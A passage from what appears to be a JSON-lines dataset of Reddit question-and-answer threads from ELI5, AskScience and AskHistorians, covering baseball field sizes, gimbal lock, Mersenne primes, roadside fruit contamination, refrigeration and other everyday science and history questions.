stadiums have monsters living in different places, so they have to have their walls set up differently.  Now eat your vegetables.", "Contrary to a lot of answers here that claim it's so stadiums can have an individual identity, that's not really true, or at least that's not how this trend originated. \n\nHome runs were originally just the name to describe when a player hit the ball so far over the outfielders' heads that they couldn't return the ball  or get the hitter out before he rounded the bases and scored a run. \n\nWhen the sport gained enough spectators, stadiums were built and fences were added primarily out of necessity - namely, to keep spectators off the field. As there was no rule that governed the maximum distance where a fence could be placed (since fences weren't really part of the game), different stadiums adopted different lengths, which were often dictated by plot size, surrounding streets, etc. \n\n*Then* it slowly became a source of identity and a spectator attraction so modern stadiums have continued to take advantage of the rule gap. ", "Making homeruns harder to hit incentivizes pitchers to play for a team. This was the logic in San Diego when they built petco. San Diego's success always revolved around good pitching. Some teams with left handed power hitters (much rarer than right handers), have shorter distances to right to give a homefield advantage in the reciprocal way. San Diego did this too, but have found a hard time finding a good left handed power hitter, and for a few years, gave up a big edge to division rivals San Francisco which had the best left handed power hitter of all time.\n\nIn 1959 the Dodgers played in the [LA Coliseum](_URL_0_), and it was only 258' to left. MLB requested that they put two nets, one at the fence, and one 330' away in the stands. You would have needed to clear both nets to get a homerun (a ground rule double would have been awarded for merely clearing the first). The second net was never put in place however.\n\nThe Dodgers used this quirky field to their advantage and won the World Series that year, and the league then required all new stadiums to meet minimum dimensions. When Camden Yards was built they had to ask for an exemption to the rule, as did the Yankees when they built the new Yankee Stadium.\n\n_URL_1_\n\n", "yeah it bugs me. it would be like football fields having 110 yards at one place, 94 yards at another, etc. gah.", "The park plays equally for both teams in that it a larger field will take away home runs from both teams. As a result, a team has no advantage by having a larger or smaller field. It also makes the game more interesting watching teams adapt to certain fields. Finally, a team is often hurt by having a larger field because hitters may be less inclined to sign with them out of fear that their offensive production and therefore value would drop.", "A major point is that while field dimensions differ drastically through all the ballparks, both teams are playing each other on the same field, so the ballpark has a negligible influence on who wins or loses. The fields' dimensions are different, but the playing field is still even.", "Not sure if it's been stated already.. But one reason could be that at different altitudes of different cities, air resistance on the ball changes. Note I can't remember the exact values.. But say the same ball is hit the same way in Florida and in Denver, the ball in Denver will travel a few %further due to the less dense air from the higher altitude. Although they try to correct this by keeping the balls at a set humidity to reduce /increase the 'pop', this may be a factor. ", "The downside is that crazy people in Houston can put a sizable hill and pole in center field. I don't get placing a hazard in the ballpark you play half your games. And despite my general dislike for the Astros I have to admit the rest of the park is nice. ", "There are numerous reasons.  Each ballpark has its own characteristics which makes it unique.  It gives each team a \"home field\" that has certain cultural qualities.  Others that are in major cities simply do not have the real estate to work with.", "the subjective nature of so many aspects of baseball is part of what makes it such an amazing sport steeped in tradition", "Dodger stadium! Kauffman stadium in Kansas City is pretty sweet as well.", "Historically when baseball was first invented, there were no professionals and ball was played in the huge rural fields, there was no outfield fence. Equipment was kinda shoddy but the ball was allowed to roll as far as it went. As teams became established and crowds gathered to watch them, an outfield rope or chalk line was drawn to indicate how close fans could stand in the outfield, and the homerun was established. The problem with this setup was that fans of the home team would push in when their team was at bat (making the field smaller) and step back when their team was fielding (making the field larger). This is obviously somewhat problematic.  \n  \nIn the early 1910s, there were already a handful of stadiums established, mostly in the cities (Polo grounds, Ebbets field, Fenway, etc). When they considered standardizing stadium sizes, it was unfeasible for some existing stadiums to be changed to fit a particular size. Stadiums had been built to fit into the city block that the team had purchased. In the 1950s, minimum dimensions were added to the distance to various parts of the outfield but teams are allowed to customize the field dimensions subject to MLB league office approval.  \n  \nThere are rough guidelines for field direction and minimum foul territory but these are not required to be met for the design to be approved by the MLB office.  \n  \nFor a Team, these customizations allow them to design a team around the specific features of their stadium to gain a greater home field advantage which can be a strong key in winning more games as half are played at home.", "Because Baseball, that's why.\n\nAnyone who doesn't appreciate the pretzel logic and it's humble origins of our national past-time is not really getting the point. You're talking about a sport whose origins are a bunch of immigrant kids hitting rocks with sticks in the streets.\n\nBasketball? Invented by a doctor in a New England gymnasium. That's real egalitarian.\n\nFootball? Sure, it's got organic roots in Rugby, which is basically English peasants wrestling for control of some livestock organ stuffed with who-know-what. But the first \"official\" football game? Rutgers v. Princeton. Sorry Biff, but you are not the sport of the yearning to breathe free.\n\nEvery American city is unique. Every field ***should*** be equally unique. It is why people will spend 3+ hours sitting, watching one of the most/least dynamic sporting spectacles ever created. It is beautiful in it's enormous warts, perfect in it's hodgepodgalia.\n\nIt's American Zen. \"Look at the flower and the flower also looks\". That's Baseball. Basketball is who we want to be, Football is who we want to see, Hockey is what we feel on the inside, but Baseball is who we *are*\n\n\n\n```Note: This is the same reason why replay is a goddamn travesty```", "Each stadium is either an ancient landmark like Wrigley and Fenway that's dimensions will never change or the newer ones are meant to suit the environmental factors and marketability of the city it's in. There is a reason the Brewers, Blue Jays and Rays all play inside, and for that reason they can have bigger dimensions due to a lack of environmental conditions effecting play. \n\nI'm a Padres fan and albeit we have a beautiful ballpark it doesn't suit our tiny market and low payroll team. \nThey greenlit the stadium after the Padres latest (and seemingly last) trip to the WS however shortly after that team fell apart they were left with nothing but a brand new giant ballpark.\n\n These past years the team was built predicated on small ball and pitching because of the park's proximity to the ocean and the dense salty air, opposed to Coors Field which has similar size but the mile high thin air seems to let the ball soar like no other stadium.The good hitters that visit Petco always find the giant gaps in our outfield and the good pitchers that come to town love it because no one can hit it out. \n\nLong story short a ballpark is meant to suit the team it houses as well as the region the team resides in. ", "Baseball has a long ass season with 162 games. They play damn near every day. I think the stadium itself has to become a draw for the fans just to fill seats day after day.", "Answers like, \"They allow teams to select players whose skills match the dimensions of the field\" are a *result* of parks' varying dimensions, not the *reason* for parks' varying dimensions.\n\nThe actual *reason* is that baseball parks were sized to fit their surroundings, back in the days when baseball fields and even professional baseball stadiums were built on empty blocks in urban areas.\n\nTherefore it was impractical to expect fields to conform to exact, standard dimensions like basketball courts, etc.\n\nOne thing to note is that MLB does impose some minimum dimensions, and all stadiums must be approved. So you couldn't do anything *really* crazy. ", "One of the beautiful parts of the game is that MLB's official rules do specify the exact dimensions of an outfield. (_URL_0_).  This allows each park to have it's own character, and it means the field itself must be factored into game strategy.\n", "Why the fuck are the Astros allowed to have a hill in center field, it makes no fucking sense.", "So the Yankees can make themselves look better."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://mlb.mlb.com/mlb/official_info/official_rules/objectives_1.jsp"], ["http://www.andrewclem.com/Baseball/Diag/PoloGrounds.gif"], [], [], [], [], ["http://www.forbes.com/sites/quora/2011/09/13/q-why-are-major-league-baseball-fields-not-standard-in-size/"], [], [], [], [], [], [], ["http://en.wikipedia.org/wiki/1959_World_Series", "http://www.closecallsports.com/2012/06/rule-104-note-minimum-field-dimensions.html"], [], [], [], [], [], [], [], [], [], [], [], [], [], ["http://mlb.mlb.com/mlb/official_info/official_rules/objectives_1.jsp"], [], []]}
{"q_id": "r8ssu", "title": "Can anyone explain or provide a reputable source for the pharmacology of vyvanse? (trouble finding sources and curious)", "selftext": "As far as what it can lead to after long term use and what it is going on physiologically? I feel like there's a lot of misinformation out there about adderall and vyvanse. \n\nHeart attacks, if you don't have ADHD and you take it you will get ADHD, etc. \n\nAny help is appreciated!", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/r8ssu/can_anyone_explain_or_provide_a_reputable_source/", "answers": {"a_id": ["c43u91p"], "score": [2], "text": ["Lisdexamfetamine is a prodrug for dextroamphetamine, meaning that it has a structure that when acted on in the body releases d-amphetamine.\n\nD-amp acts on monoamine transporters, so they increase the duration of monamines (dopamine, norepinephrine) in the synaptic cleft.  This has the effect of increasing concentration, but the neurological effects are complicated.\n\nUnfortunately, amphetamines have several peripheral effects throughout the rest of the body, one of which is action on the vascular system to increase heart rate and vascular constriction.\n\nFurther, this drug shows tolerance effects, meaning it may lose efficacy over time."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1cuc0d", "title": "How does vinegar kill mold (and bacteria)?", "selftext": "Is there a chemical reaction that occurs with the outer surface?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1cuc0d/how_does_vinegar_kill_mold_and_bacteria/", "answers": {"a_id": ["c9k32tt"], "score": [2], "text": ["The short answer: it's an acid. At a sufficiently low pH many biological functions are interrupted. For one example, enzymes have an optimal pH range, and when taken out of that range, their functionality declines rapidly."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "a23wj7", "title": "can someone explain what gimble lock is and why quaternions are used avoid it in a game engine like unity?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/a23wj7/eli5_can_someone_explain_what_gimble_lock_is_and/", "answers": {"a_id": ["eauybx0", "eav14wx", "eav9ort", "eavcrr4"], "score": [27, 4, 2, 2], "text": ["This is really hard to ELI5 but I will try to give a 2D analogy.\n\nImagine your body is a telescope. Stretch one of your arms forward in front of you.\n\nNow, telescopes can only move in a limited number of ways. You can move your arm up and down, but not left to right. (So, your arm can change its *pitch* angle). Also, you can turn your body around by turning with your feet in a full circle (your *yaw* direction). By both spinning in place with your feet and moving your arm up and down, you should be able to move your hand anywhere in one smooth, straight motion. \n\nWell, *almost* everywhere! Now for the gimbal lock. Point your hand all the way down. Your job is to move your hand directly to your left. Of course, your hand can only move up and down so you will also have to spin in place. What you'll find out is, it's not possible to do in a smooth straight motion. Either you have to *first* rotate your body and *then* move your hand up, or you have to kind of make a twisty motion where your hand goes up while turning.\n\nThis is the 2d version of gimbal lock. In 3d there's also a *roll* angle but it's a similar situation.\n\nQuaternions don't have this issue because they can rotate along any axis instead of using combinations of pitch, yaw, and roll to achieve rotation.\n\nEdit: in fact, you can think of the roll component as twisting your hand. Note that when pointing straight down or up, twisting your hand does exactly the same thing as changing direction with your feet. You have lost a degree of freedom. ", "Avoiding gimbal lock isn't the only reason quaternions are used in computer graphics, they are also faster to compute and use less memory than the alternative, matrix rotations.\n\nBut as to your question, it's difficult to really explain gimbal lock without a visual, but think about an airplane flying directly upwards at 90\u00b0. It has three degrees of freedom (axes about which it can rotate) but when two of them become perfectly aligned, it effectively \"loses\" the other one.\n\nIn computer graphics, it this can cause some really weird situations at singularity points, (places where the axes meet) such as wobbly rotations.", "Gimbal locking is the result of how Euler based rotational transform matrixes are calculated in 3D simulations. (Not a very ELI5 term, but bear with me)\n\nIn Euler, direction is stored as the combination of rotation around 3 axis of rotation, the X axis, the Y axis and the Z axis. Let's take a plane turning left while climbing.  \nIf you imagine yourself as the plane, and starting out looking straight ahead, then you could turn yourself into that direction by first turning sideways to that heading, then looking up the same amount, and finally tilting your head sideways to the correct amount of \"lean\".\n\nThat's essentially what Euler rotation does. First heading, then pitch, and lastly roll. How much to turn each way is what's being stored.\n\nSo now you're in that turn, looking kinda up at the ceiling off-tilt, now imagine you want to turn sideways. What would happen? What SHOULD happen?  \n\nIf you are a plane, you'd probably expect to turn sideways relative to your current direction. So if you are tilting hard left, and turn \"left\" you'd actually be turning towards the floor - right?  \nBut that's not what would happen in the computer. Turning \"left\" means changing your heading! In other words, it would change how much you originally turned before you looked up and tilted your head!  \nSo things are already starting to behave a bit funky with Euler rotation.\n\nWhat's happening is that as each rotation is applied, the later rotations impact is changed. Heading being the first applied means it is completely unaffected by the others - so turning left/right will always turn you left-right from an observers perspective - **not** necessarily from your own.  \nPitch is second, so it will rotate you up/down with respect to your heading **but not** your tilt.  \nTilt, finally, is always done with respect to both your heading and your pitch.\n\nOk, now we have what we need to show a \"gimbal lock\".\n\nStart looking straight ahead again. You can turn, you can look up down, and you can tilt your head. All's fine.  \nNow turn straight up (i.e. pitch up 90 degrees). Can you still do all those things?\n\nYou can still pitch. Tilting your head works too. But what happens when you turn? You rotate but you're still looking straight up at the same point in the ceiling, no?  \nBut that's what's tilting is supposed to do! In fact, it IS what it does. So now you're in a situation where both turning and tilting does the same thing (tilt) - you've lost your ability to turn with respect to your current direction!  \n\nThe reason for this is that since the tilt rotation is affected by the pitch, it has been shifted completely by the pitch to line up with the heading rotation - making them effectively the same.  \nThat is gimbal locking.\n\nThe clearest example of this is if you compare flying an airplane in a flight sim, versus running and gunning in an FPS. The latter has no tilt (typically, ignoring you Arma), and moving your mouse left and right shifts your aim straight left and right - not in some curved arc based on how much you're looking up and down (like in the flight sim).\n\nQuaternions don't suffer from this and I won't go into detail why - they're far too complex for any ELI5 answer I'm afraid.  \nShort answer is that they exploit behaviors in 4D (yes, 4) space to *project* a direction into 3D space.  \nThere are great youtube videos on it, but I wouldn't recommend them unless you like maths and trippy hyperdimensional stuff. :)", "3D rotations can be described rotating first on the X axis, then Y axis, then the Z axis. Effectively, you have 3 angles, for 3 axes and this can described any orientation. The problem with this is that this 3 angle scheme has some awkward mathematical properties, where angles suddenly need to jump when you get to a specific boundary. \n\n**A simpler system**\n\nLet's take a simpler system - with 2 angles. We can describe any direction in 3D with 2 angles. \n\nIn this thought experiment, you are going to point at a plane flying past as if you are a gun turret. The first angle is the direction you are facing - imagine you are facing due North. Let's call this angle *azimuth*, and let's say North is 0 degree, East is 90 degrees, South is 180 degrees, etc.\n\nThe second angle is the height of your arm. When you are pointing at the Horizon directly in front of you, let's call that 0 degrees. When you are pointing directly up to the sky, let's call that 90 degrees. Let's call this *elevation*.\n\n*Experiment 1*\n\nA plane is flying directly North to South, but is 5 miles to your right (East). \nYou see the plane far away in the North. You point at it. Your azimuth angle is pretty close to 0 degrees, but slightly pointing East. The plane is close to the horizon, so elevation is close to zero.\nAs the plane comes closer, you gradually need to turn towards the East, and increase elevation. \nWhen the plane is level with you, you will be facing due East, and your arm will be pointing at maximum elevation.\nAs the plane goes past, you keep gradually turning towards the South, and lowering your elevation, until the plane disappears into the distance.\nYou were able to keep tracking the plane smoothly as it went past, with just two angles, and each angle changing smoothly.\n\n*Experiment 2*\n\nA plane is flying directly North to South, but is starting directly North of you - so is exactly in line.\nYour azimuth is exactly zero. As the plane approaches, the elevation needed to track it increases, but azimuth stays exactly zero.\nWhen the plane is directly overhead, your arm reaches its limit of 90 degrees. However, you are still facing due North, because you have never had to change you azimuth angle.\nYou can't keep tracking smoothly. You suddenly have to do a 180 degree flip on your azimuth to face due South. \nIn this experiment, you've hit a boundary in the numbering system that requires an angle to jump. The nice smooth tracking that you got in the first experiment doesn't work.\n\n**Back to 3D rotation**\n\nA very similar problem occurs with 3D rotations with 3 angles- for example aircraft or spacecraft gyroscopes used to produce an artificial horizon. These would have a gyroscope suspended on a set of 3 gimbals, one for each axis. However, in certain circumstances, like if a plane was doing a loop, you could run into a problem where one of the gimbals would suddenly have to flip 180 degrees. And, as this was a mechanical device which can't jump, you could run into problems like the mechanism jamming up, or locking.\n\nIn things like computer games, calculations which occur close to one of these coordinate boundaries may have accuracy problems, causing things to appear in the wrong orientation. \n\n**The solution - use a different method of describing rotations**\n\nTo get around this, you can use a different method of rotating objects. Instead of rotating an object by making 3 separate rotations on X, then Y, then Z; you can choose an axis in any direction you like, and then rotate around that. In this method of rotation, smooth rotations of objects always result in smooth changes in the axis and angle measures - no jumps.\n\nThere are two ways to calculate a rotation around an arbitrary axis. One is to use a matrix multiplication. A matrix multiplication can also include, not just rotation, but other things like translation, scaling and some types of distortion. Matrix multiplications are widely used in computer graphics because of this, because many major types of calculation (e.g. rotating a view to a camera's perspective, performing distortion to match perspective, etc.) can be done with matrix multiplication. However, matrix multiplication needs many steps due to the individual multiplications and additions. On top of that, converting from an angle and axis into a matrix also requires a lot of steps.\n\nQuaternions are a simpler solution for rotations around an arbitrary axis. A single quarternion combines the axis and angle in one, and a rotation is performed by quaternion multiplication, which is far simpler than matrix multiplication and doesn't require the complicated matrix set-up process. Qauternions are therefore a  faster and simpler to use method for handling orientations and rotations. You can even do calculations on rotations which would otherwise be very difficult - like if you want to get from orientation A to orientation B, what is the rotation needed to do this smoothly? That's difficult with 3 angles, but easy with quaternions.\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "8i76jb", "title": "What is a Hotspot? like under Hawaii?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/8i76jb/what_is_a_hotspot_like_under_hawaii/", "answers": {"a_id": ["dypizmc"], "score": [2], "text": ["Hot magma from the inner mantle rises up and melts through the crust. This creates an opening through which more magma gets pulled through. Eventually enough builds up and you get an island. If the tectonic plate is moving then the hotspot moves and you get a chain of islands. Iceland is really cool because it\u2019s a hotspot that\u2019s also over the mid Atlantic ridge where new sea floor is being created."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "9unuhz", "title": "word confusion", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9unuhz/eli5_word_confusion/", "answers": {"a_id": ["e95nuzv"], "score": [2], "text": ["Once upon a time I did linguistics at university. It's been a while since this came up, but the gist is that when we're reading, a huge part of how we recognise words is that we narrow it down from left to right (in English). So you start with A, which could be any number of a huge list of words. A followed by N narrows it down a bit but not nearly enough to be certain. Eventually you narrow it down far enough to fill out the rest based on context. (There are of course other aspects to consider, but this particular one is easily empirically measurable.) \n\nWhen you're writing, there's a similar process happening. It's more efficient for the brain to autofill based on likely combinations and context than to choose each letter to make the right word. Combine that with muscle memory and it's not hard for those wires to get crossed. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "196stx", "title": "Effect of pollution on roadside fruit crops.", "selftext": "If we grow fruit bearing trees on the roadsides along city roads and highways, is there any possibility of seeing altered concentrations of chemicals within the fruits due to automobile pollution? I understand that the fruit's skin could have a layer of chemicals due to direct contact, to counter which we can limit ourselves to growing fruits that we only consume without the skin. I can also imagine the photosynthesis efficiency taking a hit due to pollutant deposits. \n\nWould it not be better to grow such trees instead of the decorative ones that are so commonplace?\n\n", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/196stx/effect_of_pollution_on_roadside_fruit_crops/", "answers": {"a_id": ["c8lh0ou", "c8mg0bk"], "score": [2, 2], "text": ["More chemicals in an area = more chance for the fruit to absorb some of them. What about plants living next to roads that were frequented by vehicles back when lead was in gas, that is a concern too.", "Environmental scientist here.  I did my PhD work on the uptake of environmental contaminants by plants, so I'm really excited about your question.  \n\nOne of the biggest contaminants along roadsides is particulate matter, which is tiny bits of carbon that contribute to the \"smoky\" appearance to the exhaust of big trucks but also comes from smaller cars even though you typically can't see it.  Particulates [do accumulate on roadside plants](_URL_3_) but the layer of particulates on the leaves of roadside plants [isn't expected to be enough to inhibit photosynthesis](_URL_0_).  But particulates also are [easily washed from plants](_URL_3_) (that link is the same as the first one above, because they also showed that the particulate load on plants decreased greatly in the rain), not to mention that the health concerns with particulates is more with inhalation than ingestion, so they aren't going to be a big concern with produce grown on the roadside.  \n\nThe much bigger health concern with roadside produce is metals in the soil and air.  Many plants can [take up metals through their roots](_URL_1_), including mercury, arsenic, and [lead](_URL_2_) (which is still in roadside soils even though it was eliminated from fuel a while ago).  But even if they take up the metals through the roots, then they still have to transport the metals from the roots, up the trunk, and out to the fruits before the metals become health hazards.  However, a lot of plants [don't efficiently move metals out of the roots and up into the shoots](_URL_6_), and from my experience in phytoremediation I can say that plants are even less likely to transport contaminants into fruits.  Thus, [the exposure to metals from eating roadside fruits isn't likely to be significant, with exposure through leafy vegetables being more likely, and root vegetables pose the greatest risk](_URL_4_).  \n\nPlants can also [take up metals directly through their leaves](_URL_5_) and, perhaps, through the skin of edible tissues.  This is where the biggest health hazard of roadside produce is.  If the metals are taken up through the skin of fruits, for instance, they might stay in the removable skin as you suggest, but the metals also might translocate deeper into the fruit, where no amount of washing or peeling will remove the metal burden.  I'm certain I've seen people at conferences report that absorption deep into the fruits isn't often observed, but I can't find the relevant sources for that.  \n\nSo the upshot of all of this is that yes, growing produce by roadsides might present a health hazard, but that hazard is greatest for root vegetables and smallest with fruits.  Fruits that are peeled before eating are probably even safer.  And growing roadside produce will be even safer if the road is not heavily traveled (not surprisingly, quiet residential streets have much less exhaust pollution than major highways), the food plants are grown farther from the road, and/or if there is a buffer of non-produce plants between the road and the food plants."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.sciencedirect.com/science/article/pii/0143147184900564", "http://www.sciencedirect.com/science/article/pii/S0958166997800043", "http://pubs.acs.org/doi/abs/10.1021/es60038a009", "http://www.sciencedirect.com/science/article/pii/S1352231099002290", "http://www.sciencedirect.com/science/article/pii/0143148X80900300", "http://pubs.acs.org/doi/abs/10.1021/es0016250", "http://link.springer.com/article/10.1007%2Fs11270-007-9401-5?LI=true#page-1"]]}
{"q_id": "2po20w", "title": "why the hutus slaughtered tutsis.", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2po20w/eli5_why_the_hutus_slaughtered_tutsis/", "answers": {"a_id": ["cmygx9i"], "score": [7], "text": ["I know this one! Okay. So I'm an International Relations Major and just read a really good article called When Identity Becomes a Knife; Reflecting on the Genocide in Rwanda.\n\nPre-Colonialist Rwanda had two tribes of people called the Hutu's and the Tutsi's. Tutsi are taller and thinner while Hutu are more squat. While these are different tribes, they came from the same region. Belgian Colonial rule saw to it that they introduced the idea of racism into Rwandan Society stating that the Tutsi's must be the original Rwandan's while Hutu's were just settlers. The Belgians set the Tutsi up for success by giving them positions of power and greater influence that when the Belgians left and Rwanda became its own nation, there was a great imbalance between the Hutu and the Tutsi's. Essentially this led to Hutu's overthrowing the Tuti's and beginning to commit genocide in order to expel the Tutsi's whether as displaced citizen's or as just flat out dead. This is the short of it but I suggest reading that article if you can find it. It's in a Magazine/ Online Journal called Ethnicities 2001. I think you can read it at _URL_0_."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://etn.sagepub.com/content/1/1/25"]]}
{"q_id": "9cq7ey", "title": "how can gels and liquids like polysporin help promote healing. isn't healing a natural, automatic process?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9cq7ey/eli5_how_can_gels_and_liquids_like_polysporin/", "answers": {"a_id": ["e5ch3eb"], "score": [5], "text": ["The skin is formed of several layers of cells, with the inner layers dividing and pushing up cells, which eventually dry up and harden for protection from the elements.\n\nIf you get a cut on your skin, blood seeps out and coagulates, forming a scab that covers the wound, again protecting it from the elements.  Skin then heals underneath, with new cells forming and eventually being pushed up and drying.\n\nGels and liquids aim to do the same job as the scab:  protect the damaged area from the environment while it heals.  They often contain antibiotics, and otherwise just provide a barrier so oxygen and impurities don't get in there.  Same job as a scab, except with antibiotics in it."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2pcb59", "title": "Was life notably different for people living in the Papal State compared to Medieval/Renaissance monarchies? Did peasants in the Papal State feel loyalty to their country? Was there ever a \"papal identity,\" so to speak?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2pcb59/was_life_notably_different_for_people_living_in/", "answers": {"a_id": ["cmvhpaz"], "score": [16], "text": ["I can't speak to the Medieval or Renaissance periods, but there were points in which what you call \"papal identity\" was clearly indicated.\n\nIn 1848, a number of revolutions swept through European cities.  One of those cities was Rome--seat of the papacy and capital of the Papal States.  A Republic was declared, and one of the pope's ministers was assassinated.  The pope--Pius IX--fled from the city into exile.  Some fled with him, despite the highly uncertain prospects of such a course of action.  One of those who fled was Marcantonio Pacelli, who was personally loyal to the pope.  \n\nThe papacy was restored to Rome two years later (by the French and Austrians, not by the force of arms under the pope) and those who had remained loyal to the pope were rewarded for their service.  Pacelli was one of those who was rewarded with a noble title, and this began generations of papal service for the Pacelli family.  Marcantonio became a papal minister, and later founded L'Osservatore Romano (the Vatican's newspaper).  His son Filippo served as a lawyer for the papacy.  Filippo's son Francesco was a Vatican lawyer, and his other son Eugenio was a priest and Vatican diplomat.  Oh, and Eugenio later became Pope Pius XII.  (The Pacelli family was far from being a peasant family, so perhaps their example isn't perfectly applicable.  They weren't alone in demonstrating their loyalty in 1848, though)\n\nSimilar divides to those that happened in 1848 were seen in 1860 and 1870.  Previous residents of the Papal States (and Catholics in general) had to weigh their loyalty to the pope (and/or the Church) and loyalty to the new regime.  A restoration of the papacy wasn't out of the question, especially given the context of 1848, so abandoning one's attachment to the Papal States wasn't a frivolous choice.  Loyalty to the papacy lingered well after the Lateran Accords cemented an answer to the Roman Question in 1929, and learning to navigate global politics as a tiny nation took the papacy a number of generations to figure out.  \n\nFollowup questions are always encouraged, and perhaps another of our aspects can give us some information on the medieval or renaissance periods."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "fl9zrg", "title": "how can we warm things like food up (ovens) and cool them down (freezers) with electricity?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/fl9zrg/eli5_how_can_we_warm_things_like_food_up_ovens/", "answers": {"a_id": ["fkxcn16", "fkxcrlz", "fkxcteo", "fkxfkg8"], "score": [33, 2, 3, 2], "text": ["Electricity and heat are both energy, although different *forms* of energy. Heating and cooling works slightly different, though.\n\nIn an oven, electricity is converted to heat by running it through a wire with a high resistance. This causes energy losses in the form of heat, which dissipates out into the oven, heating the food. Simply put, we convert electrical energy into heat.\n\nIn a freezer, we use the electricity to run a system of pipes and valves. Through some clever engineering, we can force a liquid called refrigerant to evaporate into a gas and the condense back into a liquid. When this happens the refrigerant, because of how our universe works, *has* to take in or give away energy. By taking in energy inside the freezer and giving it away outside the freezer, we can move the heat from inside the freezer to outside the freezer. This is why the back of your freezer is warm and shouldn't stand directly against the wall!\n\nEdit: Spelling.", "Heating things up is really easy. You run electricity through a resistor which naturally loses energy in the form of heat. \n\nCooling things down is a bit harder. What you are doing is using the electricity to run a pump. That pump circulates a fluid called refrigerant (there are a number of kinds). The refrigerant is compressed into a liquid by the pump which naturally releases energy (that's why the back of your fridge is hot), the fluid is then rapidly expanded which absorbs heat (therefor making the inside of the fridge cold). It's a cycle that keeps going and going. \n\n [_URL_1_](_URL_0_) \n\n & #x200B;\n\nBonus fact, a Heat Pump is actually the exact same concept but it lets you steal heat from a cold place and eject it into a hot place.", "Ovens create heat by burning gas or moving electricity through special wire that turns it into heat.\n\nFreezers make things cold by a neat trick certain chemicals do, where you can pressurize and de pressurize them in such a way that they actually move a substantial amount of heat. So you can move heat from inside the freezer to outside of it, which makes it cold.", "Another question piggybacking off of this one. Why do we still use electricity to do stuff? We've been using it for like 200 years and to my knowledge nothing else has been developed. Can't we use some other force of nature to do our bidding? Just think it's kinda crap that everyone always complains about how we generate electricity and moving to green energy where if we developed something that wasn't electricity to do stuff for us we wouldn't need to produce it anymore."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://en.wikipedia.org/wiki/Heat_pump_and_refrigeration_cycle", "https://en.wikipedia.org/wiki/Heat\\_pump\\_and\\_refrigeration\\_cycle"], [], []]}
{"q_id": "294gwu", "title": "Why are the largest primes expressed in the form 2^n-1, where n is a natural number?", "selftext": "If this has been asked before feel free to link me to that explanation (I looked but didn't find anything).", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/294gwu/why_are_the_largest_primes_expressed_in_the_form/", "answers": {"a_id": ["cihcj2s", "cihcn5h"], "score": [31, 3], "text": ["Those are the largest *known* primes, not the largest primes (there is no such thing). tl;dr It's much easier to tell if such numbers are prime are not.\n\nIf you have a prime number *p*, then the number 2^*p* - 1 is called a [Mersenne Number](_URL_0_). If that number is prime, it's called a Mersenne Prime. It was originally thought all Mersenne Numbers were primes, which sadly is not true, but it currently appears that Mersenne Numbers have a higher density of primes than a random sampling of the integers.\n\n Additionally, there is [an algorithm](_URL_1_) for determining whether a number is prime or not, which only works on Mersenne Numbers, and is significantly faster than than more general methods: O(p^(3)) instead of O(p^(6)). The combination of higher density of primes, and faster primality testing, means that searching for Mersenne Primes is currently the most efficient method of searching for large prime numbers.\n\nMildly related: For numbers of the form k = 2^n - 1, if n is composite then k is composite. Numbers with composite exponents are not considered Mersenne anything. This is important because people will often refer to, say, 2^13 - 1 as \"the fifth Mersenne Number,\" and you shouldn't think they mean 2^5 - 1.", "The largest *known* primes are this way... perhaps because we can't find the ones nearby those as easily.  For reasons others have said mersenne primes are more evident."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Mersenne_number", "http://en.wikipedia.org/wiki/Lucas\u2013Lehmer_primality_test"], []]}
{"q_id": "2s8vza", "title": "if you left the earth's gravitational pull, would you see it speeding away?", "selftext": "If you were somehow able to be immune to the gravitational pull of the Earth (and the sun's so you wouldn't follow the Earth in orbit), would you see it move?\n\nExtra Credit: If you floated there in space for a year, would the Earth come around and hit you (assuming you are still immune to its gravity)?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2s8vza/eli5if_you_left_the_earths_gravitational_pull/", "answers": {"a_id": ["cnn9iuw", "cnn9lr5", "cnncjud"], "score": [2, 4, 2], "text": ["If you escaped the gravity of everything in our system that may effect you, then yes, you would see it fly away. And you would never see it again because the entire system you escaped would be moving. \n\nIf you were still in the orbit of the sun, you would still probably not be hit by the sun as your mass and the earth's mass would cause different orbits. But you WOULD see the earth. ", "If you suddenly stopped being affected by earth's gravity then you wouldn't suddenly get rocketed off into space\u2014there's nothing in your scenario that would suggest any sudden acceleration.  You would float around the room and blow in the breeze.\n\nIf you extend your gravitational immunity to include immunity from the sun, too, then you'd tend to travel in a straight line, tangent to the earth's orbital path.  However, this still wouldn't lead to you rocketing off into space\u2014the earth is undergoing about .5 cm/s^2 of acceleration from the sun (this acceleration is mostly perpendicular to its motion, so it leads to a mostly circular orbit rather than a changing speed).  Due to the orientation of the sun and earth you would be pushed \"down\" to the ground during the day while you're pushed up towards space during the night.  You could easily survive in this state by sleeping 